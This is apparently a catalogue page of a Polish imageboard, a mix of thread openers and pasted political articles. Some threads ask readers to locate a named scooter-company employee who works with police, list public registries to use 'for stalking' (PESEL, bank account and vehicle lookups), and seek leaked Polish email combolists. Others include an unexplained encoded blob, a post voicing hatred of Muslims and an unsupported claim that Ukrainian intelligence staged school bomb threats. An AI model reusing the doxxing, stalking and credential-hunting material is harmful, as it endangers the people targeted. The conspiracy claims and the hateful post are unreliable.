Ale mnie interesuje jedna osoba (wyrwane z akapitu): ,,opowiada Alicja, która zajmuje się w hive m.in. współpracą z organami ścigania (wolała wystąpić tylko pod imieniem)" kto jest w stanie namierzyć tą babkę? Ponoć stoi na straży tych hulajek a w wawie znów wyjechały ale czerwone.

Link do akapitu:

https://smartride.pl/kradzieze-hulajnog-hive-na-poziomie-krytycznym-albo-zlodzieje-albo-my/

Policyjne przechwałki:

https://policja.pl/pol/aktualnosci/178986,Ukradli-ponad-60-elektrycznych-hulajnog-o-wartosci-190-tys-zl.html

Gówna hive po lifcie na freenow:

https://free-now.com/pl/hive/

Swoją drogą dla mnie fajna opcja zflashować sobie taką hulajnogę i mieć swojego ninebot segway z dodatkową baterią, wystarczy tyko w dashboard wgrać nowy flash i później po bluetooth wgrać sobie jakie Ci się podobają konfigurację predkości, zasięgu i mocy.

Wszystko na necie, youtubie i scooterhacking

R: 67 / I: 0 / P: 8

Każdy musi sam zdobywać wiedzę osintową, a moglibyśmy się wspólnie dzielić. Zróbmy lolifoxowy spis wszystkich stron przydatnych w stalku. Ja zaczynam:

https://www.ufg.pl/infoportal/faces/pages_home-page - model samochodu i gdzie jest ubezpieczony po numerze rejestracji

https://bip.uke.gov.pl/numeracja/dostawca-uslug/ - z jakiej sieci jest numer telefonu

https://ems.ms.gov.pl/msig/przegladaniemonitorow - pesel każdego kto ma wpis w krs

https://www.podatki.gov.pl/wykaz-podatnikow-vat-wyszukiwarka - szukanie po numerze konta albo numeru konta po innych danych

https://grobonet.com/ - szukanie zmarłych, mało skuteczne

http://nlp.actaforte.pl:8080/Nomina/Ndistr?nazwisko=Terka

bardziej oczywiste:

https://haveibeenpwned.com/

https://prod.ceidg.gov.pl/CEIDG/CEIDG.Public.UI/Search.aspx

https://ems.ms.gov.pl/krs/wyszukiwaniepodmiotu

https://securitytrails.com/dns-trails

https://mapy.geoportal.gov.pl/ - lepszy do weryfikowania adresu od google maps

https://yandex.com - najlepsza wyszukiwarka do stalku i najlepsze wyszukiwanie obrazem

postujcie swoje

R: 13 / I: 0 / P: 8

polskie bazy danych

szukam wielu polskich baz danych do downloadu

po prostu zbiory roznych maili polskich

combolisty

itp

R: 13 / I: 0 / P: 8

WIADOMOŚĆ

H4sIAhs1DF8A/wvaTVRLjuwoENzXKVK1

mpGs2cyJ0javHsaQFmAhWLam9c7Q6mO8

3ah3r3yvjsTVn1WVTBIRmRHJwm6sxyvt

UeZmjydK9v5ChYJEz2swC/WDYM1ATVLm

46nXB96nJqEOdLwZwnHj1Rxv+ENTq59w

BqUPxFFunIGnx6M1M7AHvUjiIs98lq07

rl0ufk82NcoCni1ymXG0xQaCWvj+a6Dk

JOohOT7e5urJRXE7bTK7CM6VcbsQmrNg

BEz+5Pzs5yT8JnTQeposWJyQt2hV5YME

bUd8v1ycXR3Typmy8fvQNc1k4v2ZbMgm

BpN3srgS2/0FuMRBgvW27cv9earTz4Ew

vccErbOeCkRMUBXs8YauVrNJQTvteFJd

ZjEeVDFKrA8Mf85oODuHCpplhAxqgQNO

C6UiAPbo47WLVgqXGkjY5VqC6HeCUB2C

yhGVrP+7Zhg9/awjd2N9Bd1IpVKDEZIs

EEGIQacshYNlsrOV/Od3GWg1U+tAsAE/

Cf8w+gIgnk2gtIH5z2+gccynCG9izeht

aupMVuu6tMwLbfu4WqckmNvl0mZ8SwIX

AYRIoGFM5iZnABGMxXTPz+5LtZ5vNvTr

no7XYo1KX2W1P8QlHuimvdJeMEZNS09D

Y7rtUY218M1ElAVeRo7dC+267c4CE8Tg

WMwIgXZqqFs0Xfja6PovcoHMNlugvGck

5fvLNmFIV/rrWjDAmTPimpG3r4Ajo+gh

n5n7IgXN/TmDBx6gBogZiD1KPdcIrSh7

DZWuMxSa+QwubCqp1ZSxBBCW2CMt17+H

8+tUuzlRbugAnn98TMiySp5sAW7WgT+y

Vmm+P2PQChwY+UKVBiAXWaBTYE79h5Cz

+fhftwbqUYTLsnafytdYvjnyEcK+ExiI

pc0UtIL0dGpF54/I3H+hlhpeJiwnlh/r

uGPzM0Au2s3ZLnpFEyDSIigcyLPuDsiY

JrPu8Dk1pwsGQI3lE5Jrjv9SLvDeFBPy

jscPylC4ieMFj44ma9Fs6/ihwmHUeAWw

+BrQ8ynTQ/6hT9dYceNccS3w54JvnAQT

1Gvnq/d9pdHBGeYCW7HA4k3QCX2Fgoqs

j/U9N3ZDSiWddjsJyThonxa8Dv1hxZOA

bHbMTfrrrWuJHYU5jGGZyzsWSbm7/wUA

AA==

R: 0 / I: 0 / P: 8

Kekeke, Duda

R: 0 / I: 0 / P: 8

Konfederacja na równi pochyłej

Z badania przeprowadzonego podczas drugiej tury wyborów prezydenckich wynika, że nieco ponad połowa wyborców Krzysztofa Bosaka postanowiła poprzeć Andrzeja Dudę, a niewiele mniej Rafała Trzaskowskiego. – Te wyniki świadczą o przemijalności obecnego wzrostu znaczenia Konfederacji – mówi portalowi Niezależna.pl politolog dr hab. Przemysław Żurawski vel Grajewski z Uniwersytetu Łódzkiego.

Z sondażu Ipsos dla TVP, TVN i Polsat wynika, że wyborcy Krzysztofa Bosak poparli zarówno Andrzeja Dudę (51,5 proc.), jak i Rafała Trzaskowskiego (48,5 proc.). Tak mocno spolaryzowany podział w Konfederacji sprawił, że momentalnie pojawiły się pytania o jedność Konfederacji. Wynik ten pokazuje bowiem, jak niejednolitym środowiskiem są wyborcy tego ugrupowania.

Sama Konfederacja nie poparła żadnego z kandydatów w drugiej turze wyborów. - Przypominamy, że nie popieraliśmy żadnego z kandydatów, którzy rywalizowali w drugiej turze wyborów prezydenckich. Oczekujemy, że prezydent elekt zadba o stabilność państwa i będzie godnie je reprezentował - stwierdziła Rada Liderów Konfederacji w stanowisku, opublikowanym w mediach społecznościowych.

- Wyborcy Konfederacji w istocie podzielili się na trzy części, bo część zapewne nie poszła, przez co nie została wychwycona w tym badaniu, co oznacza, że jeszcze takich pełnych danych twardych socjologicznych nie mamy. Myślę, że taki rozkład głosów to nie jest żadne zaskoczenie. To jest środowisko niespójne w sensie ideowym, a także z uwagi na duży odsetek najmłodszych wyborców jest po prostu niedojrzałe, niedoświadczone politycznie, a co za tym idzie jest podatne na pewne proste wizje świata i stąd ten podział. Myślę, że ten podział świadczy o pewnej przemijalności obecnego wzrostu znaczenia Konfederacji w ostatnim roku. W miarę starzenia się i dojrzewania mentalnego obecnych wyborców, nabierania wiedzy o świecie, prawdopodobnie będziemy mieli do czynienia z podobnym zjawiskiem, jak w przypadku Unii Polityki Realnej. Im ludzie będą starsi i więcej będą wiedzieć, tym bardziej będą odchodzić od tego typu prostych poglądów

- ocenił w rozmowie z portalem Niezalezna.pl dr hab. Przemysław Żurawski vel Grajewski, politolog Uniwersytetu Łódzkiego.

- Myślę, że ten podział elektoratu Konfederacji był do przewidzenia i on jest dosyć oczywisty, biorąc pod uwagę charakter agendy programowej tej formacji politycznej. Konfederacja programowo jest oparta na takich dwóch filarach. Z jednej strony to konserwatyzm obyczajowy, a z drugiej strony liberalizm, żeby nie powiedzieć neoliberalizm gospodarczy. W tym sensie wyborcy Konfederacji zagłosowali za tym filarem, który jest im bliższy. Mimo że ten podział na pierwszy rzut oka może jakoś dziwić, może być źródłem pytań o przyszłość Konfederacji, to sądzę, że nie stanowi on dla niej większego zagrożenia. Wręcz przeciwnie, pokazuje, że ta agenda programowa Konfederacji jest wyjątkowa, bo gdyby było tak, że pokrywa się w ogromnej części z agendą programową innej partii politycznej, to przecież większość wyborców Konfederacji zagłosowałoby na tego jednego kandydata. Sądzę, że ten wynik pokazuje, że jest raczej przyszłość tego ugrupowania w polskiej polityce

- powiedział nam dr Sebastian Gajewski z Centrum im. Ignacego Daszyńskiego.

R: 0 / I: 0 / P: 8

Wyznawcom dziadzia Korwina ku refleksji

83 milionerów opublikowało dziś list otwarty, w którym apelują o "natychmiastowe' i "permanentne" podniesienie im podatków, aby przyśpieszyć ożywienie gospodarcze po kryzysie spowodowanym pandemię koronawirusa.

- Gdy Covid-19 atakuje globalnie, milionerzy tacy jak my mają zasadniczą rolę do odegrania, aby uzdrowić świat

- apelują autorzy listu, wśród których są między innymi współzałożyciel wielkiego amerykańskiego producenta lodów Ben & Jerry czy brytyjski filmowiec Richard Curtis.

- Aby wybrnąć z kryzysu wywołanego pandemią, "potrzebujemy pieniędzy i będziemy ich potrzebować w nadchodzących latach", aby podnieść się z zapaści, której skutki "potrwają dekady" i mogą doprowadzić do nędzy "pół miliarda osób"

- piszą sygnatariusze listu, który został opublikowany na stronie Milionerzy dla Ludzkości, co stanowi też nazwę grupy autorów apelu.

- Problemy spowodowane i ujawnione przez Covid-19 nie mogą zostać rozwiązane przez działalność charytatywną, niezależnie od tego jak byłaby hojna. Szefowie rządów muszą wziąć odpowiedzialność za zdobycie funduszy, poprzez permanentne podniesienie podatków najzamożniejszym ludziom planety, takim jak my (…), z których musimy sfinansować w sposób adekwatny nasze systemy opieki zdrowotnej, szkoły i bezpieczeństwo

- głosi list.

Organizacja Współpracy Gospodarczej i Rozwoju (OECD) ogłosiła, że globalny spadek PKB wyniesie w tym roku co najmniej 6 proc., a jeśli dojdzie do drugiej fali epidemii - 7,6 proc. Ożywienie gospodarcze w 2021 roku szacowane jest przez OECD na 5,2 proc. lub 2,8 proc. przy drugiej fali koronawirusa.

O zwiększenie podatków dla miliarderów apelują od lat finansista i inwestor Warren Buffet oraz założyciel Microsoftu Bill Gates.

R: 1 / I: 0 / P: 8

Nienawiść w sieci

Na finiszu prezydenckiej kampanii wyborczej w internecie zaroiło się bardziej niż zwykle od kłamstw. Niektóre z nich wprost podlegają konkretnym paragrafom Kodeksu karnego i warto, by zajęły się tym odpowiednie służby. Może to wreszcie znacznie ograniczyć działalność hejterów, którzy czują się całkowicie bezkarni.

Nie mówcie mi, że działania służb i prokuratury wobec hejterów to łamanie wolności słowa. Jest wręcz odwrotnie – to przywracanie elementarnych zasad przyzwoitości.

Dwie miary

Warto przypomnieć proces, który z hejterami wygrał mecenas Roman Giertych, reprezentujący przed sądem Radosława Sikorskiego. Sprawa dotyczyła opublikowanego w grudniu 2010 r. w dzienniku „Fakt” artykułu pt. „Sikorski doniósł na antysemitów z forów internetowych”, pod którym nastąpił wysyp antysemickich, obraźliwych i wulgarnych komentarzy. Radosław Sikorski pozwał za nie Ringier Axel Springer Polska i wygrał.

Dziś Sikorski w swoich komentarzach w mediach społecznościowych niewiele odbiega od tych, którzy go atakowali, z tą różnicą, że znajduje poklask w mediach sprzyjających totalnej opozycji, jaką jest Platforma Obywatelska z przybudówkami, z którymi tworzy Koalicję Obywatelską.

Wielokrotnie w mediach Strefy Wolnego Słowa pisałam na temat „towarzystwa”, które w internecie poleca swoje wpisy w mediach społecznościowych. Część z tych wpisów pochodzi albo z Soku z Buraka – hejterskiego profilu PO, albo z portalu Jana Pińskiego Wieści24.pl, który w rzeczywistości jest zwykłym ściekiem nienawiści. Osoby o mocnych nerwach, które odwiedzą te dwa portale, przekonają się, jak kwitnie działalność hejterska w sieci, która jest zasypywana kłamstwami, a swoich czytelników karmi nienawiścią. Cóż więc się dziwić, że po takiej lekturze zwolennicy totalnej opozycji są umocnieni w swojej frustracji i mają głębokie przekonanie, że trzeba za wszelką cenę zniszczyć politycznego przeciwnika?

Przyjaciel Romana Giertycha

Hejterskim portalem Wieści24.pl kieruje Jan Piński, skompromitowany dziennikarz, partner szachowy Romana Giertycha i jego bliski znajomy.

Gdy w minioną sobotę Samuel Pereira, redaktor naczelny portalu TVP Info, zapytał Romana Giertycha o jego związki z Sebastianem Jargutem, kilka godzin później szef portalu TVP Info został zaatakowany przez Wieści24.pl.

„Wysłałem do Romana Giertycha pytania nt. aktywności jego człowieka cienia. Tego samego dnia w serwisie kierowanym przez Jana Pińskiego poszły dwa obrzydliwe paszkwile na mój temat. Mam złą wiadomość, panowie: nie dam się zastraszyć i ta informacja ujrzy światło dzienne. Dobranoc” – napisał Samuel Pereira na Twitterze.

Jak ujawnił portal TVP Info, oficjalnie Jargut występuje jako prezes kilku spółek związanych z Romanem Giertychem, a nieoficjalnie jako opiekun jego dzieci, ochroniarz i kierowca.

Skąd hejterski atak na Samuela Pereirę? Powodem było zdjęcie, które ujawnił, a na którym widać „hajlującego” Sebastiana Jarguta. To wystarczyło, by na Wieści24.pl w tym samym dniu ukazały się dwa teksty atakujące Pereirę zawierające kłamstwa i pomówienia.

R: 2 / I: 0 / P: 8

Bluzg sytych starych dziadów

Gościem w „Wywiadzie z chuliganem” był Kaczmi z Nagłego Ataku Spawacza, pierwszego polskiego zespołu hip-hopowego. Ćwierć wieku temu N.A.S. zasłynął pełnym bluzgów utworem „AntyLiroy”. No i Kaczmi, dziś ojciec dwójki dzieci, nie zaklął… ani razu.

Mieliśmy 18–20 lat, mówiliśmy językiem z podwórka, opowiadaliśmy o biedzie lat 90., no to jaki nasz język miał być? – mówił Kaczmi rzeczy oczywiste. A puszczona po latach piosenka o kolarzu z NRD „Uwe rozj…ł kolarzówę” wzbudziła tylko melancholię… Inny przykład. Jan Lechoń, największy antykomunista wśród polskich poetów, pisał na wygnaniu o kolaborancie Czesławie Miłoszu, że jego poezja „tak jest potrzebna ludowi jak ­piź…e daszek” i „jeśli Miłosz ma w sobie odrobinę uczciwości, powinien się powiesić, a w każdym razie pójść do pracy fizycznej”. Bluzg, który oczyszcza, bo wyraża świętą złość… Jest jednak taki rodzaj bluzgów, który zawsze budzi odrazę: bluzg sytych starych dziadów, którzy tracą przywileje i postanowili przebrać się za nonkonformistycznych młodzieżowców.

R: 1 / I: 0 / P: 8

Chamska hołota

Środowisko Rafała Trzaskowskiego pokazało się w ostatnich godzinach przed wyborami w pełnej krasie. Maski spadły, nienawiść, na której budowano kampanię Platformy, sprawiła, że pokazało się prawdziwe oblicze tego środowiska – chamska hołota.

Bez zażenowania zwolennicy Trzaskowskiego i czynni działacze jego kampanii z mediów, świata celebrytów czy polityki przekazywali sobie hasło głoszone przez Władysława Frasyniuka, niekiedy jawne w całości, innym razem symbolizowane przez osiem gwiazdek. Powielano utwór „Polskie tango” rapera Tacona Hemingwaya (prywatnie chłopaka córki Tomasza Lisa), którego teledysk upowszechnił to hasło, a który śpiewając o „popier…nym kraju”, w który dawno przestał wierzyć, jak mało kto w ostatnim czasie popisał się pogardą wobec Polski. Ludzie zaangażowani w kampanię Rafała Trzaskowskiego – jak właśnie Tomasz Lis – podawali dalej także inny rap polegający na rytmicznym powtarzaniu słowa „wypier…ć” skierowanym do PiS i urzędującego prezydenta. To te właśnie słowa „je…” i „wyp…ać” stały się najbardziej znanym, rozpoznawalnym hasłem kampanii Trzaskowskiego. Pogarda, nienawiść, chamstwo – przed tym się w niedzielę ­broniliśmy.

R: 0 / I: 0 / P: 8

"Bracia-Słowianie"

75 lat temu, 12 lipca 1945 r., oddziały NKWD i Smiersz rozpoczęły na Suwalszczyźnie operację, w której zginęło co najmniej 592 działaczy podziemia niepodległościowego. Operacja zwana obławą augustowską jest największą niewyjaśnioną zbrodnią popełnioną na Polakach po II wojnie światowej.

Od lat śledztwo w sprawie obławy prowadzi białostocki oddział Instytutu Pamięci Narodowej. Dotyczy ono zbrodni komunistycznej przeciwko ludzkości. Przyjęto w nim, że w lipcu 1945 r., w nieustalonym dotychczas miejscu zginęło ok. 600 osób zatrzymanych w powiatach: augustowskim, suwalskim i sokólskim. Zatrzymali ich żołnierze sowieckiego Kontrwywiadu Wojskowego "Smiersz" 3 Frontu Białoruskiego Armii Czerwonej, przy współudziale funkcjonariuszy polskich organów Bezpieczeństwa Publicznego, MO oraz żołnierzy I Armii Wojska Polskiego.

Od kilkudziesięciu lat o wyjaśnienie zbrodni zabiegają również Obywatelski Komitet Poszukiwań Ofiar Mieszkańców Suwalszczyzny Zaginionych w lipcu 1945 r. oraz Związek Pamięci Ofiar Obławy Augustowskiej, wielu historyków.

W lutym 2016 r. IPN odnalazł na internetowym portalu z materiałami z archiwów ministerstwa obrony Rosji kilka tysięcy stron sowieckich dokumentów o przebiegu obławy. To najnowszy materiał, który może posłużyć do wyjaśnienia zbrodni. Trwa tłumaczenie tych dokumentów; po jego zakończeniu do Rosji zostanie wystosowana prośba o nadesłanie oryginałów. W poprzednich latach, strona rosyjska konsekwentnie odmawiała pomocy prawnej w śledztwie dotyczącym obławy.

W śledztwie jest mowa obecnie o 592 ofiarach, ale w świetle najnowszych dokumentów, można przypuszczać, że zamordowanych może być więcej. Główny cel śledztwa to ustalenie liczby ofiar i odnalezienie miejsca lub miejsc ich pochówku.

Odnalezione dokumenty dotyczą działalności 50. Armii 3 Frontu Białoruskiego Armii Czerwonej. IPN ocenił je jako "niesłychanie ważne", bo przedstawiają cały plan tej - jak mówił prowadzący śledztwo prokurator IPN w Białymstoku Zbigniew Kulikowski -

zbrodniczej akcji, zbrodni przeciwko ludzkości, która została zaplanowana i - z punktu widzenia prawa karnego - popełniona w zamiarze bezpośrednim zabójstwa ludzi tylko dlatego, że mieli inne przekonania polityczne, a to nie ulega przedawnieniu.

Wciąż nie wiadomo, gdzie znajdują się groby ofiar. W ramach śledztwa IPN, biegli z zakresu kartografii, którzy analizowali powojenne zdjęcia lotnicze wskazali ponad 60 miejsc na terytorium Białorusi - większość w okolicach miejscowości Kalety - które mogą być potencjalnie jamami grobowymi, po stronie polskiej kilkanaście takich miejsc. Białoruś odmówiła pomocy prawnej w tej sprawie. Na razie prace sondażowe we wskazanych miejscach po stronie polskiej również nie dały odpowiedzi ws. miejsc pochówku. Znaleziono pojedyncze szczątki ludzkie, nie wiadomo, czy mają związek z obławą.

12 lipca jest ustanowionym w 2015 r. przez Sejm Dniem Pamięci Ofiar Obławy Augustowskiej z lipca 1945 r

R: 0 / I: 0 / P: 9

Trump potwierdza - część wojsk z Niemiec trafi do Polski.

Prezydent USA Donald Trump w wywiadzie dla The Washington Post potwierdził, że część wojsk amerykańskich wycofanych z Niemiec - trafi do Polski. "Jest to dla naszego kraju informacja pomyślna, w kontekście już podjętej decyzji o wycofaniu części kontyngentu amerykańskiego z Niemiec - podkreślił politolog prof. Przemysław Żurawski vel Grajewski w programie "W punkt" Katarzyny Gójskiej.

Trump pytany był przez dziennikarza The Washington Post o kwestię przeniesienia amerykańskiej armii z Niemiec. Powiedział, że część z nich trafi do Polski.

„Dwie różne lokalizacje, w tym Polska. Sprowadzimy około połowę z powrotem do domu, a połowa trafi do miejsc, które na to zasługują ”

- podkreślił amerykański prezydent.

O tej deklaracji Katarzyna Gójska rozmawiała ze swoim gościem w programie "W punkt" w Telewizji Republika - Przemysławem Żurawskim vel Grajewskim.

Przesunięcie części tych wojsk z Niemiec do Polski wzmocni bezpieczeństwo naszego kraju oparte na zasadzie wysuniętej obecności. Nie potęga garnizonu, a fakt, że jest on amerykański, powoduje inną jakość decyzji politycznej

- powiedział gość Katarzyny Gójskiej.

Amerykanie w tej chwili w większej liczbie stacjonują w Polsce w Powidzu, czy w Orzyszu, wspierani przez takich naszych sojuszników, jak Rumunów, Chorwatów, czy Brytyjczyków i każdy kolejny punkt ich dyslokacji zwiększa bezpieczeństwo w tym rozumieniu, ze na kolejnym obszarze ewentualne jednostki inwazyjne nieprzyjaciela musiałyby wejść w styczność bojową z wojskami supermocarstwa światowego

- podkreślił Żurawski vel Grajewski.

Jest to decyzja polityczna, której nikt nie podjął po 45 roku w oficjalnym wymiarze. (…) To zmniejsza prawdopodobieństwo wybuchu konfliktu. Im ta sieć obecności amerykańskiej jest gęstsza, tym ta zasada skuteczniej będzie funkcjonowała

- podkreślił ekspert.

R: 0 / I: 0 / P: 9

Cieszę, że jestem Polakiem, a mój kraj ma dzisiaj najlepsze wyniki ekonomiczne w Europie

Cieszę, że jestem Polakiem, a mój kraj ma dzisiaj najlepsze wyniki ekonomiczne w Europie w okresie pandemii. Tak, to powód do narodowej satysfakcji, że mamy w praktyce najmniejsze bezrobocie w Europie i najmniejszy spadek produkcji. Opublikowany w tym tygodniu (sic!) raport Komisji Europejskiej pokazuje, że to właśnie nasza ojczyzna będzie miała najniższą recesję w całej UE-27.

Kiedyś była zakłamana „Zielona Wyspa”. Dzisiaj jest realna „oaza rozwoju i spokoju”. Polska wraca do normalności, ponosząc najmniejsze straty z powodu koronawirusa na tle Europy Zachodniej, Północnej i Wschodniej. Śmiertelność w Polsce w związku z pandemią jest od kilku do dwudziestu kilku (!) razy mniejsza niż w krajach Unii, nie mówiąc o Wielkiej Brytanii, USA i Brazylii. Póki co przez tę zarazę XXI wieku przechodzimy jako naród w jakiejś mierze „suchą nogą”. Jestem szczęśliwy, że mój kraj, w odróżnieniu od wielu innych, nie musi wydawać miliardów na walkę z wewnętrznym terroryzmem, który jest pokłosiem fatalnej polityki imigracyjnej. Jesteśmy dumnym narodem, który ma coraz silniejsze i sprawniejsze państwo. Jesteśmy – jako wspólnota narodowa - w windzie, która jedzie w gorę. Oby tak dalej!

R: 38 / I: 0 / P: 9

Ukraińskie służby specjalne stoją za cyberatakami na polskich szkołach w maju 2019

Jeśli pamiętacie masowe mailingi o fałszywych alarmach w polskich szkołach w maju 2019 roku, oto co znalazłem. Takiej prowokacji mogli dokonać hakerzy ukraińskich służb specjalnych. W korespondencji z użytkownikami Lolifox w kwietniu i maju 2019 roku zamieścili informacje o zaangażowaniu rosyjskich hakerów, FSB i Putina w górnictwo. Ale nikt na to nie wskazywał, nie było oskarżeń wobec Rosji, a użytkownicy forum odpowiedzieli na te zastrzyki.

Jestem pewien, że była to wcześniej zaplanowana prowokacja ukraińskich służb specjalnych.

W moim śledztwie ujawniono także wiele innych faktów i dokumentów dotyczących polskich i ukraińskich agentów pracujących na terytorium Polski:

https://ukr-leaks.com/Inform/Investigations/Details/operatsii-vliyaniya-ukrainy-protiv-evropi-part2

Przepraszam za zły Polski. To automatyczne tłumaczenie.

R: 120 / I: 1 / P: 9

odpowiedzi na posty z honeypota

tutaj będą odpowiedzi na posty z honeypota

R: 5 / I: 0 / P: 9

Dzień dobry. Przeprowadzimy się z Kazachstanu do Polski. Sami Rosjanie, od urodzenia żyjemy wśród muzułmanów i strasznie ich nienawidzimy. Co sądzisz o przybyszach? Czy można spokojnie i spokojnie osiedlić się w małym miasteczku i pić piwo w sobotnie wieczory? My sami jesteśmy freelancerami, planujemy żyć zgodnie z prawem, płacić podatki. Na akcent, nogi gopników w bramach nas nie kopną? Nie postawią noża na nożu?

R: 0 / I: 0 / P: 9

Co wiesz o... czarnogłówce?

Sikora czarnogłówka jest gatunkiem szeroko rozprzestrzenionym. Wśród europejskich sikor jej areał jest największy. W Polsce średnio liczny ptak lęgowy. Liczbę par lęgowych w kraju szacuje się na około 200–320 tys., z mocnym trendem spadkowym.

Spotkać ją można w całym kraju, a w górach do wysokości ok. 1400 m n.p.m. W kraju to ptak przeważnie osiadły (lęgnący się tu i zimujący) i tylko w niektórych latach koczuje. Wybrane osobniki wędrują do miejsc o łagodniejszym klimacie. Późną jesienią obserwuje się przeloty sikor z północno-wschodniej Europy, które swe zimowiska mają w Europie Środkowej i Zachodniej.

Skromną barwą upierzenia nie przystaje do większości sikor. To niewielki ptak o dużej głowie i grubej szyi. Obie płcie ubarwione identycznie. Upierzenie na wierzchu brązowoszare, od spodu beżowobiałe. Na głowie matowo-czarna czapeczka sięgająca do krawędzi płaszcza, za karkiem ma kształt długiego i szerokiego krawacika, na podgardlu czarny szeroki „krawat” o rozmytych brzegach. Białe policzki. Dziób krótki, czarny. Boki ciała są płowe. Młode podobne do dorosłych. Gdy nie zna się jej śpiewu, łatwo ją przeoczyć.

Warunki siedliskowe czarnogłówki nie są dokładnie sprecyzowane. Wybiera najczęściej miejsca wilgotne, zwłaszcza blisko wód stojących lub płynących, bagienne olsy. Nie zamieszkuje tylko jednego określonego typu zbiorowiska roślinnego i na danej wysokości nad poziomem morza, choć liczniejsza jest w średnich i wyższych leśnych położeniach górskich. Zasiedla też suche drzewostany iglaste, mieszane i bory ze starodrzewami. Na terenach lęgowych wynajduje spróchniałe drzewa, gdzie może wykuć dziuple.

W Polsce występują dwie populacje czarnogłówki: jedna jest związana z podmokłymi zadrzewieniami, nadrzecznymi łozowiskami i zakrzewieniami liściastymi (zwłaszcza łęgowymi), czasem są to nadwodne zarośla wierzbowe; druga z suchymi, młodymi, niskimi lasami sosnowymi i sosnowo-świerkowymi. Czasem widywana w zdziczałych sadach. W przeciwieństwie do sikory ubogiej, zamieszkuje też niewielkie zadrzewienia śródpolne.

Często czarnogłówki spotyka się w gęstej roślinności niezbyt wysoko nad ziemią, a szczególnie w pobliżu zbiorowisk pokrzyw, gdzie dość trudno ją dostrzec. Ponieważ jest wobec człowieka nieufna, tereny bardziej zurbanizowane pozwala zasiedlać sikorze ubogiej.

W wykutej przez siebie lub opuszczonej przez bogatkę dziupli w przynajmniej częściowo spróchniałym lub martwym drzewie (niekiedy mogą jedynie poszerzyć istniejącą już lukę w korowinie drewna). Wykuwają ją oboje rodzice, co wyjątkowe u sikor. Samiec jest jednak potrzebny, bo wykucie dziupli i wysłanie jej (gęsto włóknami roślinnymi, piórami, włosiem, puchem i trawami) sprawia tym niewielkim ptakom wiele trudności. Nie są one tak zręczne jak dzięcioł zielony lub duży, co sprawia, że wykuwanie dziupli trwa 10 dni, a nawet dłużej. Miejsce, w którym sikora czarnogłówka wykuwa dziuplę, moż¬na łatwo rozpoznać po drzazgach rozrzuconych tuż pod wejściem do niej. Podobne zachowanie wykazuje sikora uboga, ale rzadziej. Inne sikory zajmują tylko gotowe dziuple. Czasem korzysta także ze skrzynek lęgowych, wykrotów i zakamarków kory. Czarnogłówka tylko wyjątkowo zajmuje utworzone przez inne ptaki dziuple. Pary są monogamiczne.

Poluje na owady, głównie gąsienice motyli w okresie lęgowym, ale i inne stadia rozwojowe, pająki, a jesienią oraz zimą zjada miękkie nasiona suchych traw, drzew i innych bylin, drobne owoce.

Zwierzęcą zdobycz zbiera zwykle z roślin. Żeruje głównie na dolnych gałązkach drzew, krzewów i zarośli, jak i w roślinności zielnej. Gdy szuka pokarmu, często zawisa na gałązkach brzuchem do góry. Rzadko zlatuje na ziemię. Potrafi ścigać owady w powietrzu.

Wraz z nastaniem jesieni gromadzi zapasy na zimę – wciska pająki, owady i nasiona w zakamarki kory lub pod rosnące na niej porosty. Zimą zbiera się w mieszane stada złożone z pełzaczy, mysikrólików, dzięciołów i kowalików, które razem szukają pokarmu i wzajemnie ostrzegają się przed drapieżnikami.

Liczebność samej tylko populacji europejskiej szacuje się (2015) na 61–88,4 milionów dorosłych osobników. Na terenie Polski gatunek ten jest objęty ścisłą ochroną gatunkową.

R: 165 / I: 3 / P: 9

seclisty

w tej nitce dzielimy się seclistami, pomysłami na seclisty

R: 48 / I: 1 / P: 9

KOLEJNA KOMPROMITACJA VEGETY

KOLEJNA KOMPROMITACJA VEGETY

>>39866

>>39869

>>39889

R: 9 / I: 0 / P: 9

DLA POTOMNOŚCI

Dla potomności, by rzecz tak zabawna nie zaginęła:

https://pastebin.com/raw/MGJJLkTe

http://depastedihrn3jtw.onion/show.php?md5=6298de51bda503ce315c2f4ef3afcfbf

R: 19 / I: 1 / P: 9

Uffff!!!! OVO zyje xDD

ovo.sc wstalo

R: 20 / I: 25 / P: 9

W Niemczech odsłonięto pomnik towarzysza Lenina

LIVE: Enthüllung von Lenin-Statue in Gelsenkirchen

https://www.theguardian.com/world/2020/jun/20/lenin-statue-to-be-unveiled-in-west-germany-despite-legal-fight

R: 2 / I: 2 / P: 9

IDZIEMY PO WAS

Polski rząd planuje złożyć ofertę ulokowania w Warszawie siedziby Europejskiego Centrum dot. Cyberbezpieczeństwa; taka lokalizacja potwierdziłaby rosnącą rolę Polski w UE w tym obszarze, a zarazem pomogła polskim ekspertom - poinformował resort cyfryzacji.

Ministerstwo Cyfryzacji (MC) pracuje nad przygotowaniem oferty na ulokowanie w Polsce siedziby Europejskiego Centrum Kompetencji w dziedzinie Cyberbezpieczeństwa w kwestiach Przemysłu, Technologii i Badań Naukowych. Centrum ma poprawić koordynację działań podejmowanych w poszczególnych państwach członkowskich w przemyśle oraz w obszarze badań i innowacji w zakresie cyberbezpieczeństwa.

Według resortu cyfryzacji, polski rząd (po zaakceptowaniu decyzji przez Radę Ministrów) złoży ofertę umiejscowienia siedziby Centrum w Warszawie. Jak uzasadniono, stolica spełnia wszystkie niezbędne wymogi stawiane w projekcie rozporządzenia ustanawiającego Centrum, w tym dotyczące m.in. posiadania siatki połączeń komunikacyjnych oraz zaplecza organizacyjnego - np. placówki oświatowe dla dzieci pracowników Centrum. MC wskazuje, że oprócz dobrej lokalizacji, Warszawa oferuje również najwyższej klasy zaplecze – projektowe, techniczne, naukowe, akademickie oraz społeczno-ekonomiczne.

Minister cyfryzacji, a zarazem pełnomocnik rządu ds. cyberbezpieczeństwa Marek Zagórski wskazał, że lokalizacja Centrum w Polsce potwierdziłaby rosnącą rolę i pozycję Polski w UE w obszarze cyberbezpieczeństwa.

Dysponujemy wykwalifikowanymi kadrami, a ponadto corocznie na rynek nowoczesnych technologii trafia spore grono absolwentów polskich uczelni technicznych – siedziba Centrum w Polsce to możliwość zatrudnienia polskich specjalistów w instytucji unijnej, koordynującej aktywności UE w obszarze badań i rozwoju nowoczesnych technologii wykorzystywanych w cyberbezpieczeństwie

ocenił Zagórski.

Jego zdaniem, dzięki ulokowaniu Centrum w naszym kraju Polska stałaby się miejscem, w którym będą zapadać ważne decyzje dotyczące m.in. rozdysponowania na cyberbezpieczeństwo środków z programów UE, a także miejscem spotkań ekspertów oraz organizowanych wydarzeń branżowych.

Polskie przedsiębiorstwa i instytuty badawcze z dynamicznie rozwijającego się sektora cyberbezpieczeństwa (szczególnie MŚP) mogłyby aktywniej zabiegać o fundusze na projekty badawcze i wdrożeniowe, dzięki bliskości ośrodka decyzyjnego w postaci Centrum

